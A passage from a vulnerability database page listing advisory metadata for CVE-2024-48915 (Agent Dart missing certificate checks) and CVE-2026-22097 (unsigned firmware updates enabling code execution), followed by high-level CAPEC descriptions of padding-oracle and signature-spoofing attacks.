      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-48915"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AstroxNetwork/agent_dart/commit/0d200686aabcd9313c7bc3e675cbdc82f6b775cf"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AstroxNetwork/agent_dart"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AstroxNetwork/agent_dart/blob/f50971dfae3f536c1720f0084f28afbcf5d99cb5/lib/agent/certificate.dart#L162"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AstroxNetwork/agent_dart/blob/main/lib/agent/certificate.dart"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Agent Dart is missing certificate verification checks"
}

GHSA-FMP2-HP5C-W25P

Vulnerability from github – Published: 2026-07-13 12:35 – Updated: 2026-07-13 12:35
VLAI
Details

The firmware update mechanism does not include cryptographic signature validation. This allows anyone with access to the firmware update capability to upload arbitrary files which can then lead to arbitrary code execution.

Severity
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-22097"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-347"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-13T10:16:27Z",
    "severity": "CRITICAL"
  },
  "details": "The firmware update mechanism does not include cryptographic signature validation. This allows anyone with access to the firmware update capability to upload arbitrary files which can then lead to arbitrary code execution.",
  "id": "GHSA-fmp2-hp5c-w25p",
  "modified": "2026-07-13T12:35:00Z",
  "published": "2026-07-13T12:35:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22097"
    },
    {
      "type": "WEB",
      "url": "https://csirt.divd.nl/DIVD-2026-00001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-463: Padding Oracle Crypto Attack

An adversary is able to efficiently decrypt data without knowing the decryption key if a target system leaks data on whether or not a padding error happened while decrypting the ciphertext. A target system that leaks this type of information becomes the padding oracle and an adversary is able to make use of that oracle to efficiently decrypt data without knowing the decryption key by issuing on average 128*b calls to the padding oracle (where b is the number of bytes in the ciphertext block). In addition to performing decryption, an adversary is also able to produce valid ciphertexts (i.e., perform encryption) by using the padding oracle, all without knowing the encryption key.

CAPEC-475: Signature Spoofing by Improper Validation

An adversary exploits a cryptographic weakness in the signature verification algorithm implementation to generate a valid signature without knowing the key.

← Back to the CWE list